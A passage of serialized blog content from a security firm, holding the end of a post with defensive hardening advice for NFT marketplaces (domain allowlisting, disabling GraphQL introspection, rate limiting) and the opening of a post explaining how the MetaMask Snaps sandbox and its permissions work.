allowDomains",{"type":22,"tag":101,"props":39133,"children":39134},{"style":166},[39135],{"type":27,"value":960},{"type":22,"tag":101,"props":39137,"children":39138},{"style":120},[39139],{"type":27,"value":911},{"type":22,"tag":101,"props":39141,"children":39142},{"style":6476},[39143],{"type":27,"value":39144},"'https://allowed-domain'",{"type":22,"tag":101,"props":39146,"children":39147},{"style":120},[39148],{"type":27,"value":35570},{"type":22,"tag":101,"props":39150,"children":39151},{"class":103,"line":157},[39152,39156,39160,39164,39169,39173,39178,39182,39186],{"type":22,"tag":101,"props":39153,"children":39154},{"style":3595},[39155],{"type":27,"value":19578},{"type":22,"tag":101,"props":39157,"children":39158},{"style":120},[39159],{"type":27,"value":3603},{"type":22,"tag":101,"props":39161,"children":39162},{"style":166},[39163],{"type":27,"value":2109},{"type":22,"tag":101,"props":39165,"children":39166},{"style":126},[39167],{"type":27,"value":39168},"allowDomains",{"type":22,"tag":101,"props":39170,"children":39171},{"style":120},[39172],{"type":27,"value":231},{"type":22,"tag":101,"props":39174,"children":39175},{"style":926},[39176],{"type":27,"value":39177},"includes",{"type":22,"tag":101,"props":39179,"children":39180},{"style":120},[39181],{"type":27,"value":980},{"type":22,"tag":101,"props":39183,"children":39184},{"style":126},[39185],{"type":27,"value":36714},{"type":22,"tag":101,"props":39187,"children":39188},{"style":120},[39189],{"type":27,"value":39190},")) {\n",{"type":22,"tag":101,"props":39192,"children":39193},{"class":103,"line":182},[39194,39199,39203,39208,39212,39217],{"type":22,"tag":101,"props":39195,"children":39196},{"style":3595},[39197],{"type":27,"value":39198}," throw",{"type":22,"tag":101,"props":39200,"children":39201},{"style":108},[39202],{"type":27,"value":35929},{"type":22,"tag":101,"props":39204,"children":39205},{"style":926},[39206],{"type":27,"value":39207}," ApolloError",{"type":22,"tag":101,"props":39209,"children":39210},{"style":120},[39211],{"type":27,"value":980},{"type":22,"tag":101,"props":39213,"children":39214},{"style":6476},[39215],{"type":27,"value":39216},"'invalid domain'",{"type":22,"tag":101,"props":39218,"children":39219},{"style":120},[39220],{"type":27,"value":994},{"type":22,"tag":101,"props":39222,"children":39223},{"class":103,"line":367},[39224],{"type":22,"tag":101,"props":39225,"children":39226},{"style":120},[39227],{"type":27,"value":188},{"type":22,"tag":23,"props":39229,"children":39230},{},[39231,39233,39240,39242,39249],{"type":27,"value":39232},"As ",{"type":22,"tag":80,"props":39234,"children":39237},{"href":39235,"rel":39236},"https://graphql.org/",[84],[39238],{"type":27,"value":39239},"GraphQl",{"type":27,"value":39241}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":22,"tag":80,"props":39243,"children":39246},{"href":39244,"rel":39245},"https://graphql.org/learn/introspection/",[84],[39247],{"type":27,"value":39248},"introspection",{"type":27,"value":39250}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":22,"tag":91,"props":39252,"children":39254},{"className":35359,"code":39253,"language":35361,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[39255],{"type":22,"tag":30,"props":39256,"children":39257},{"__ignoreMap":7},[39258,39287,39299,39311,39327],{"type":22,"tag":101,"props":39259,"children":39260},{"class":103,"line":104},[39261,39265,39270,39274,39278,39283],{"type":22,"tag":101,"props":39262,"children":39263},{"style":108},[39264],{"type":27,"value":13660},{"type":22,"tag":101,"props":39266,"children":39267},{"style":126},[39268],{"type":27,"value":39269}," server",{"type":22,"tag":101,"props":39271,"children":39272},{"style":166},[39273],{"type":27,"value":960},{"type":22,"tag":101,"props":39275,"children":39276},{"style":108},[39277],{"type":27,"value":35929},{"type":22,"tag":101,"props":39279,"children":39280},{"style":926},[39281],{"type":27,"value":39282}," ApolloServer",{"type":22,"tag":101,"props":39284,"children":39285},{"style":120},[39286],{"type":27,"value":19142},{"type":22,"tag":101,"props":39288,"children":39289},{"class":103,"line":157},[39290,39295],{"type":22,"tag":101,"props":39291,"children":39292},{"style":126},[39293],{"type":27,"value":39294}," typeDefs",{"type":22,"tag":101,"props":39296,"children":39297},{"style":120},[39298],{"type":27,"value":179},{"type":22,"tag":101,"props":39300,"children":39301},{"class":103,"line":182},[39302,39307],{"type":22,"tag":101,"props":39303,"children":39304},{"style":126},[39305],{"type":27,"value":39306}," resolvers",{"type":22,"tag":101,"props":39308,"children":39309},{"style":120},[39310],{"type":27,"value":179},{"type":22,"tag":101,"props":39312,"children":39313},{"class":103,"line":367},[39314,39319,39323],{"type":22,"tag":101,"props":39315,"children":39316},{"style":126},[39317],{"type":27,"value":39318}," introspection:",{"type":22,"tag":101,"props":39320,"children":39321},{"style":108},[39322],{"type":27,"value":13065},{"type":22,"tag":101,"props":39324,"children":39325},{"style":120},[39326],{"type":27,"value":179},{"type":22,"tag":101,"props":39328,"children":39329},{"class":103,"line":398},[39330],{"type":22,"tag":101,"props":39331,"children":39332},{"style":120},[39333],{"type":27,"value":39334},"});\n",{"type":22,"tag":23,"props":39336,"children":39337},{},[39338,39340,39347,39349,39356],{"type":27,"value":39339},"Similarly, when ",{"type":22,"tag":80,"props":39341,"children":39344},{"href":39342,"rel":39343},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[84],[39345],{"type":27,"value":39346},"batching",{"type":27,"value":39348}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":22,"tag":80,"props":39350,"children":39353},{"href":39351,"rel":39352},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[84],[39354],{"type":27,"value":39355},"denial-of-service",{"type":27,"value":39357}," (DoS) attacks.",{"type":22,"tag":23,"props":39359,"children":39360},{},[39361],{"type":27,"value":39362},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":22,"tag":23,"props":39364,"children":39365},{},[39366],{"type":27,"value":39367},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":22,"tag":39369,"props":39370,"children":39371},"h1",{"id":6776},[39372],{"type":27,"value":6779},{"type":22,"tag":23,"props":39374,"children":39375},{},[39376],{"type":27,"value":39377},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":22,"tag":23,"props":39379,"children":39380},{},[39381],{"type":27,"value":39382},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":22,"tag":53,"props":39384,"children":39386},{"id":39385},"disclaimer",[39387],{"type":27,"value":39388},"Disclaimer",{"type":22,"tag":23,"props":39390,"children":39391},{},[39392],{"type":27,"value":39393},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":22,"tag":6891,"props":39395,"children":39396},{},[39397],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":39399},[39400,39403,39409,39413,39414],{"id":33014,"depth":157,"text":33017,"children":39401},[39402],{"id":6968,"depth":182,"text":6971},{"id":35203,"depth":157,"text":35233,"children":39404},[39405,39406,39407,39408],{"id":35252,"depth":182,"text":35255},{"id":35317,"depth":182,"text":35320},{"id":38147,"depth":182,"text":38150},{"id":38437,"depth":182,"text":38440},{"id":38782,"depth":157,"text":38785,"children":39410},[39411,39412],{"id":38804,"depth":182,"text":38807},{"id":38854,"depth":182,"text":38857},{"id":38938,"depth":157,"text":38944},{"id":39385,"depth":157,"text":39388},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":39419,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":39420,"description":39421,"author":39422,"image":39423,"date":39425,"isFeatured":15,"onBlogPage":15,"body":39426,"_type":6912,"_id":44439,"_source":6914,"_file":44440,"_stem":44441,"_extension":6917},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[35197,35196],{"src":39424,"height":17625,"width":17626},"/posts/metamask-snaps/header.png","2023-11-01",{"type":19,"children":39427,"toc":44420},[39428,39432,39437,39442,39447,39453,39458,39464,39477,39482,39487,39494,39526,39532,39537,39555,39562,39568,39582,39588,39608,39872,39900,39906,39925,40310,40329,40342,40660,40681,40952,40957,40963,40968,40981,40986,40999,41258,41302,41315,41321,41335,41341,41347,41360,41397,41403,41423,41534,41561,41567,41585,41598,41604,41609,41627,41738,41743,41764,41777,41794,41894,41920,41937,42059,42085,42097,42102,42108,42114,42119,42142,42147,42152,42158,42164,42191,42594,42621,42648,42654,42685,42992,43011,43016,43041,43054,43060,43087,43382,43418,43436,43441,43476,43481,43485,43490,43497,43502,43529,44306,44326,44332,44353,44402,44406,44411,44416],{"type":22,"tag":53,"props":39429,"children":39430},{"id":22946},[39431],{"type":27,"value":22949},{"type":22,"tag":23,"props":39433,"children":39434},{},[39435],{"type":27,"value":39436},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":22,"tag":23,"props":39438,"children":39439},{},[39440],{"type":27,"value":39441},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":22,"tag":23,"props":39443,"children":39444},{},[39445],{"type":27,"value":39446},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":22,"tag":53,"props":39448,"children":39450},{"id":39449},"sandbox-security",[39451],{"type":27,"value":39452},"Sandbox Security",{"type":22,"tag":23,"props":39454,"children":39455},{},[39456],{"type":27,"value":39457},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":22,"tag":1760,"props":39459,"children":39461},{"id":39460},"permission-based-security",[39462],{"type":27,"value":39463},"Permission-based security",{"type":22,"tag":23,"props":39465,"children":39466},{},[39467,39469,39475],{"type":27,"value":39468},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":22,"tag":30,"props":39470,"children":39472},{"className":39471},[],[39473],{"type":27,"value":39474},"snap.manifest.json",{"type":27,"value":39476}," file and can be critical to security.",{"type":22,"tag":23,"props":39478,"children":39479},{},[39480],{"type":27,"value":39481},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":22,"tag":23,"props":39483,"children":39484},{},[39485],{"type":27,"value":39486},"Here are the critical permissions possible to be given to a snap:",{"type":22,"tag":23,"props":39488,"children":39489},{},[39490],{"type":22,"tag":7959,"props":39491,"children":39493},{"alt":7,"src":39492},"/posts/metamask-snaps/permissions.png",[],{"type":22,"tag":6839,"props":39495,"children":39496},{},[39497,39515],{"type":22,"tag":6832,"props":39498,"children":39499},{},[39500,39506,39507,39513],{"type":22,"tag":30,"props":39501,"children":39503},{"className":39502},[],[39504],{"type":27,"value":39505},"snap_getBip44Entropy",{"type":27,"value":209},{"type":22,"tag":30,"props":39508,"children":39510},{"className":39509},[],[39511],{"type":27,"value":39512},"snap_getBip32Entropy",{"type":27,"value":39514}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":22,"tag":6832,"props":39516,"children":39517},{},[39518,39524],{"type":22,"tag":30,"props":39519,"children":39521},{"className":39520},[],[39522],{"type":27,"value":39523},"endowment:transaction-insight",{"type":27,"value":39525}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":22,"tag":1760,"props":39527,"children":39529},{"id":39528},"snap-execution-environment",[39530],{"type":27,"value":39531},"Snap execution environment",{"type":22,"tag":23,"props":39533,"children":39534},{},[39535],{"type":27,"value":39536},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":22,"tag":6828,"props":39538,"children":39539},{},[39540,39545,39550],{"type":22,"tag":6832,"props":39541,"children":39542},{},[39543],{"type":27,"value":39544},"An isolated iframe",{"type":22,"tag":6832,"props":39546,"children":39547},{},[39548],{"type":27,"value":39549},"LavaMoat",{"type":22,"tag":6832,"props":39551,"children":39552},{},[39553],{"type":27,"value":39554},"SES (Secure EcmaScript)",{"type":22,"tag":23,"props":39556,"children":39557},{},[39558],{"type":22,"tag":7959,"props":39559,"children":39561},{"alt":7,"src":39560},"/posts/metamask-snaps/environment.png",[],{"type":22,"tag":1760,"props":39563,"children":39565},{"id":39564},"isolated-iframe-layer-1",[39566],{"type":27,"value":39567},"Isolated Iframe - Layer 1",{"type":22,"tag":23,"props":39569,"children":39570},{},[39571,39573,39580],{"type":27,"value":39572},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":22,"tag":80,"props":39574,"children":39577},{"href":39575,"rel":39576},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[84],[39578],{"type":27,"value":39579},"Iframe",{"type":27,"value":39581}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":22,"tag":22883,"props":39583,"children":39585},{"id":39584},"the-framework-metamask-extension-repo",[39586],{"type":27,"value":39587},"The Framework: Metamask-Extension Repo",{"type":22,"tag":23,"props":39589,"children":39590},{},[39591,39593,39599,39601,39607],{"type":27,"value":39592},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":22,"tag":30,"props":39594,"children":39596},{"className":39595},[],[39597],{"type":27,"value":39598},"metamask-controller.js",{"type":27,"value":39600}," file. Here's a glimpse of the relevant ",{"type":22,"tag":80,"props":39602,"children":39605},{"href":39603,"rel":39604},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[84],[39606],{"type":27,"value":30},{"type":27,"value":169},{"type":22,"tag":91,"props":39609,"children":39613},{"className":39610,"code":39611,"language":39612,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[39614],{"type":22,"tag":30,"props":39615,"children":39616},{"__ignoreMap":7},[39617,39625,39633,39653,39701,39736,39753,39761,39803,39810,39817,39825,39853,39865],{"type":22,"tag":101,"props":39618,"children":39619},{"class":103,"line":104},[39620],{"type":22,"tag":101,"props":39621,"children":39622},{"style":2215},[39623],{"type":27,"value":39624},"// Import snaps-controllers\n",{"type":22,"tag":101,"props":39626,"children":39627},{"class":103,"line":157},[39628],{"type":22,"tag":101,"props":39629,"children":39630},{"style":2215},[39631],{"type":27,"value":39632},"// ...\n",{"type":22,"tag":101,"props":39634,"children":39635},{"class":103,"line":182},[39636,39640,39645,39649],{"type":22,"tag":101,"props":39637,"children":39638},{"style":108},[39639],{"type":27,"value":13660},{"type":22,"tag":101,"props":39641,"children":39642},{"style":126},[39643],{"type":27,"value":39644}," snapExecutionServiceArgs",{"type":22,"tag":101,"props":39646,"children":39647},{"style":166},[39648],{"type":27,"value":960},{"type":22,"tag":101,"props":39650,"children":39651},{"style":120},[39652],{"type":27,"value":154},{"type":22,"tag":101,"props":39654,"children":39655},{"class":103,"line":367},[39656,39661,39665,39670,39674,39679,39683,39688,39692,39697],{"type":22,"tag":101,"props":39657,"children":39658},{"style":126},[39659],{"type":27,"value":39660}," iframeUrl:",{"type":22,"tag":101,"props":39662,"children":39663},{"style":108},[39664],{"type":27,"value":35929},{"type":22,"tag":101,"props":39666,"children":39667},{"style":926},[39668],{"type":27,"value":39669}," URL",{"type":22,"tag":101,"props":39671,"children":39672},{"style":120},[39673],{"type":27,"value":980},{"type":22,"tag":101,"props":39675,"children":39676},{"style":126},[39677],{"type":27,"value":39678},"process",{"type":22,"tag":101,"props":39680,"children":39681},{"style":120},[39682],{"type":27,"value":231},{"type":22,"tag":101,"props":39684,"children":39685},{"style":126},[39686],{"type":27,"value":39687},"env",{"type":22,"tag":101,"props":39689,"children":39690},{"style":120},[39691],{"type":27,"value":231},{"type":22,"tag":101,"props":39693,"children":39694},{"style":126},[39695],{"type":27,"value":39696},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":22,"tag":101,"props":39698,"children":39699},{"style":120},[39700],{"type":27,"value":1706},{"type":22,"tag":101,"props":39702,"children":39703},{"class":103,"line":398},[39704,39709,39714,39718,39723,39727,39732],{"type":22,"tag":101,"props":39705,"children":39706},{"style":126},[39707],{"type":27,"value":39708}," messenger:",{"type":22,"tag":101,"props":39710,"children":39711},{"style":108},[39712],{"type":27,"value":39713}," this",{"type":22,"tag":101,"props":39715,"children":39716},{"style":120},[39717],{"type":27,"value":231},{"type":22,"tag":101,"props":39719,"children":39720},{"style":126},[39721],{"type":27,"value":39722},"controllerMessenger",{"type":22,"tag":101,"props":39724,"children":39725},{"style":120},[39726],{"type":27,"value":231},{"type":22,"tag":101,"props":39728,"children":39729},{"style":926},[39730],{"type":27,"value":39731},"getRestricted",{"type":22,"tag":101,"props":39733,"children":39734},{"style":120},[39735],{"type":27,"value":19142},{"type":22,"tag":101,"props":39737,"children":39738},{"class":103,"line":428},[39739,39744,39749],{"type":22,"tag":101,"props":39740,"children":39741},{"style":126},[39742],{"type":27,"value":39743}," name:",{"type":22,"tag":101,"props":39745,"children":39746},{"style":6476},[39747],{"type":27,"value":39748}," 'ExecutionService'",{"type":22,"tag":101,"props":39750,"children":39751},{"style":120},[39752],{"type":27,"value":179},{"type":22,"tag":101,"props":39754,"children":39755},{"class":103,"line":997},[39756],{"type":22,"tag":101,"props":39757,"children":39758},{"style":120},[39759],{"type":27,"value":39760}," }),\n",{"type":22,"tag":101,"props":39762,"children":39763},{"class":103,"line":1032},[39764,39769,39773,39777,39782,39786,39791,39795,39799],{"type":22,"tag":101,"props":39765,"children":39766},{"style":126},[39767],{"type":27,"value":39768}," setupSnapProvider:",{"type":22,"tag":101,"props":39770,"children":39771},{"style":108},[39772],{"type":27,"value":39713},{"type":22,"tag":101,"props":39774,"children":39775},{"style":120},[39776],{"type":27,"value":231},{"type":22,"tag":101,"props":39778,"children":39779},{"style":126},[39780],{"type":27,"value":39781},"setupSnapProvider",{"type":22,"tag":101,"props":39783,"children":39784},{"style":120},[39785],{"type":27,"value":231},{"type":22,"tag":101,"props":39787,"children":39788},{"style":926},[39789],{"type":27,"value":39790},"bind",{"type":22,"tag":101,"props":39792,"children":39793},{"style":120},[39794],{"type":27,"value":980},{"type":22,"tag":101,"props":39796,"children":39797},{"style":108},[39798],{"type":27,"value":21691},{"type":22,"tag":101,"props":39800,"children":39801},{"style":120},[39802],{"type":27,"value":1706},{"type":22,"tag":101,"props":39804,"children":39805},{"class":103,"line":1063},[39806],{"type":22,"tag":101,"props":39807,"children":39808},{"style":120},[39809],{"type":27,"value":20576},{"type":22,"tag":101,"props":39811,"children":39812},{"class":103,"line":1071},[39813],{"type":22,"tag":101,"props":39814,"children":39815},{"emptyLinePlaceholder":15},[39816],{"type":27,"value":1581},{"type":22,"tag":101,"props":39818,"children":39819},{"class":103,"line":1110},[39820],{"type":22,"tag":101,"props":39821,"children":39822},{"style":2215},[39823],{"type":27,"value":39824},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":22,"tag":101,"props":39826,"children":39827},{"class":103,"line":1118},[39828,39832,39836,39840,39844,39848],{"type":22,"tag":101,"props":39829,"children":39830},{"style":126},[39831],{"type":27,"value":39678},{"type":22,"tag":101,"props":39833,"children":39834},{"style":120},[39835],{"type":27,"value":231},{"type":22,"tag":101,"props":39837,"children":39838},{"style":126},[39839],{"type":27,"value":39687},{"type":22,"tag":101,"props":39841,"children":39842},{"style":120},[39843],{"type":27,"value":231},{"type":22,"tag":101,"props":39845,"children":39846},{"style":126},[39847],{"type":27,"value":39696},{"type":22,"tag":101,"props":39849,"children":39850},{"style":166},[39851],{"type":27,"value":39852}," =\n",{"type":22,"tag":101,"props":39854,"children":39855},{"class":103,"line":1158},[39856,39861],{"type":22,"tag":101,"props":39857,"children":39858},{"style":6476},[39859],{"type":27,"value":39860}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":22,"tag":101,"props":39862,"children":39863},{"style":120},[39864],{"type":27,"value":1520},{"type":22,"tag":101,"props":39866,"children":39867},{"class":103,"line":1166},[39868],{"type":22,"tag":101,"props":39869,"children":39870},{"style":2215},[39871],{"type":27,"value":39632},{"type":22,"tag":23,"props":39873,"children":39874},{},[39875,39877,39883,39885,39891,39893,39898],{"type":27,"value":39876},"This code is defining the ",{"type":22,"tag":30,"props":39878,"children":39880},{"className":39879},[],[39881],{"type":27,"value":39882},"snapExecutionServiceArgs",{"type":27,"value":39884}," object, which contains information required for the ",{"type":22,"tag":30,"props":39886,"children":39888},{"className":39887},[],[39889],{"type":27,"value":39890},"IframeExecutionService",{"type":27,"value":39892}," to execute snaps. The ",{"type":22,"tag":30,"props":39894,"children":39896},{"className":39895},[],[39897],{"type":27,"value":39696},{"type":27,"value":39899}," points to the location where the execution environment resides.",{"type":22,"tag":22883,"props":39901,"children":39903},{"id":39902},"executing-snaps-iframeexecutionservice-in-action",[39904],{"type":27,"value":39905},"Executing Snaps: IframeExecutionService in Action",{"type":22,"tag":23,"props":39907,"children":39908},{},[39909,39911,39916,39918,39924],{"type":27,"value":39910},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":22,"tag":30,"props":39912,"children":39914},{"className":39913},[],[39915],{"type":27,"value":39890},{"type":27,"value":39917}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":22,"tag":80,"props":39919,"children":39922},{"href":39920,"rel":39921},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[84],[39923],{"type":27,"value":30},{"type":27,"value":169},{"type":22,"tag":91,"props":39926,"children":39930},{"className":39927,"code":39928,"language":39929,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[39931],{"type":22,"tag":30,"props":39932,"children":39933},{"__ignoreMap":7},[39934,39942,39971,40001,40054,40091,40098,40105,40113,40120,40127,40135,40170,40178,40233,40295,40303],{"type":22,"tag":101,"props":39935,"children":39936},{"class":103,"line":104},[39937],{"type":22,"tag":101,"props":39938,"children":39939},{"style":2215},[39940],{"type":27,"value":39941},"// Register message handlers for snap interactions\n",{"type":22,"tag":101,"props":39943,"children":39944},{"class":103,"line":157},[39945,39949,39953,39958,39962,39967],{"type":22,"tag":101,"props":39946,"children":39947},{"style":108},[39948],{"type":27,"value":21691},{"type":22,"tag":101,"props":39950,"children":39951},{"style":120},[39952],{"type":27,"value":231},{"type":22,"tag":101,"props":39954,"children":39955},{"style":126},[39956],{"type":27,"value":39957},"#messenger",{"type":22,"tag":101,"props":39959,"children":39960},{"style":120},[39961],{"type":27,"value":231},{"type":22,"tag":101,"props":39963,"children":39964},{"style":926},[39965],{"type":27,"value":39966},"registerActionHandler",{"type":22,"tag":101,"props":39968,"children":39969},{"style":120},[39970],{"type":27,"value":1850},{"type":22,"tag":101,"props":39972,"children":39973},{"class":103,"line":182},[39974,39979,39983,39988,39992,39997],{"type":22,"tag":101,"props":39975,"children":39976},{"style":6476},[39977],{"type":27,"value":39978}," `",{"type":22,"tag":101,"props":39980,"children":39981},{"style":108},[39982],{"type":27,"value":38104},{"type":22,"tag":101,"props":39984,"children":39985},{"style":126},[39986],{"type":27,"value":39987},"controllerName",{"type":22,"tag":101,"props":39989,"children":39990},{"style":108},[39991],{"type":27,"value":38136},{"type":22,"tag":101,"props":39993,"children":39994},{"style":6476},[39995],{"type":27,"value":39996},":handleRpcRequest`",{"type":22,"tag":101,"props":39998,"children":39999},{"style":120},[40000],{"type":27,"value":179},{"type":22,"tag":101,"props":40002,"children":40003},{"class":103,"line":367},[40004,40009,40013,40018,40022,40027,40031,40036,40040,40045,40049],{"type":22,"tag":101,"props":40005,"children":40006},{"style":108},[40007],{"type":27,"value":40008}," async",{"type":22,"tag":101,"props":40010,"children":40011},{"style":120},[40012],{"type":27,"value":3603},{"type":22,"tag":101,"props":40014,"children":40015},{"style":126},[40016],{"type":27,"value":40017},"snapId",{"type":22,"tag":101,"props":40019,"children":40020},{"style":166},[40021],{"type":27,"value":169},{"type":22,"tag":101,"props":40023,"children":40024},{"style":114},[40025],{"type":27,"value":40026}," string",{"type":22,"tag":101,"props":40028,"children":40029},{"style":120},[40030],{"type":27,"value":758},{"type":22,"tag":101,"props":40032,"children":40033},{"style":126},[40034],{"type":27,"value":40035},"options",{"type":22,"tag":101,"props":40037,"children":40038},{"style":166},[40039],{"type":27,"value":169},{"type":22,"tag":101,"props":40041,"children":40042},{"style":114},[40043],{"type":27,"value":40044}," SnapRpcHookArgs",{"type":22,"tag":101,"props":40046,"children":40047},{"style":120},[40048],{"type":27,"value":901},{"type":22,"tag":101,"props":40050,"children":40051},{"style":108},[40052],{"type":27,"value":40053},"=>\n",{"type":22,"tag":101,"props":40055,"children":40056},{"class":103,"line":398},[40057,40062,40066,40071,40075,40079,40083,40087],{"type":22,"tag":101,"props":40058,"children":40059},{"style":108},[40060],{"type":27,"value":40061}," this",{"type":22,"tag":101,"props":40063,"children":40064},{"style":120},[40065],{"type":27,"value":231},{"type":22,"tag":101,"props":40067,"children":40068},{"style":926},[40069],{"type":27,"value":40070},"handleRpcRequest",{"type":22,"tag":101,"props":40072,"children":40073},{"style":120},[40074],{"type":27,"value":980},{"type":22,"tag":101,"props":40076,"children":40077},{"style":126},[40078],{"type":27,"value":40017},{"type":22,"tag":101,"props":40080,"children":40081},{"style":120},[40082],{"type":27,"value":758},{"type":22,"tag":101,"props":40084,"children":40085},{"style":126},[40086],{"type":27,"value":40035},{"type":22,"tag":101,"props":40088,"children":40089},{"style":120},[40090],{"type":27,"value":1706},{"type":22,"tag":101,"props":40092,"children":40093},{"class":103,"line":428},[40094],{"type":22,"tag":101,"props":40095,"children":40096},{"style":120},[40097],{"type":27,"value":994},{"type":22,"tag":101,"props":40099,"children":40100},{"class":103,"line":997},[40101],{"type":22,"tag":101,"props":40102,"children":40103},{"emptyLinePlaceholder":15},[40104],{"type":27,"value":1581},{"type":22,"tag":101,"props":40106,"children":40107},{"class":103,"line":1032},[40108],{"type":22,"tag":101,"props":40109,"children":40110},{"style":2215},[40111],{"type":27,"value":40112},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":22,"tag":101,"props":40114,"children":40115},{"class":103,"line":1063},[40116],{"type":22,"tag":101,"props":40117,"children":40118},{"style":2215},[40119],{"type":27,"value":39632},{"type":22,"tag":101,"props":40121,"children":40122},{"class":103,"line":1071},[40123],{"type":22,"tag":101,"props":40124,"children":40125},{"emptyLinePlaceholder":15},[40126],{"type":27,"value":1581},{"type":22,"tag":101,"props":40128,"children":40129},{"class":103,"line":1110},[40130],{"type":22,"tag":101,"props":40131,"children":40132},{"style":2215},[40133],{"type":27,"value":40134},"// Execute a snap\n",{"type":22,"tag":101,"props":40136,"children":40137},{"class":103,"line":1118},[40138,40143,40148,40152,40157,40161,40166],{"type":22,"tag":101,"props":40139,"children":40140},{"style":126},[40141],{"type":27,"value":40142},"async",{"type":22,"tag":101,"props":40144,"children":40145},{"style":926},[40146],{"type":27,"value":40147}," executeSnap",{"type":22,"tag":101,"props":40149,"children":40150},{"style":120},[40151],{"type":27,"value":980},{"type":22,"tag":101,"props":40153,"children":40154},{"style":126},[40155],{"type":27,"value":40156},"snapData",{"type":22,"tag":101,"props":40158,"children":40159},{"style":120},[40160],{"type":27,"value":19332},{"type":22,"tag":101,"props":40162,"children":40163},{"style":126},[40164],{"type":27,"value":40165},"SnapExecutionData",{"type":22,"tag":101,"props":40167,"children":40168},{"style":120},[40169],{"type":27,"value":1463},{"type":22,"tag":101,"props":40171,"children":40172},{"class":103,"line":1158},[40173],{"type":22,"tag":101,"props":40174,"children":40175},{"style":2215},[40176],{"type":27,"value":40177}," // Initialize job, streams, and environment\n",{"type":22,"tag":101,"props":40179,"children":40180},{"class":103,"line":1166},[40181,40186,40190,40195,40199,40203,40208,40212,40216,40221,40225,40229],{"type":22,"tag":101,"props":40182,"children":40183},{"style":108},[40184],{"type":27,"value":40185}," 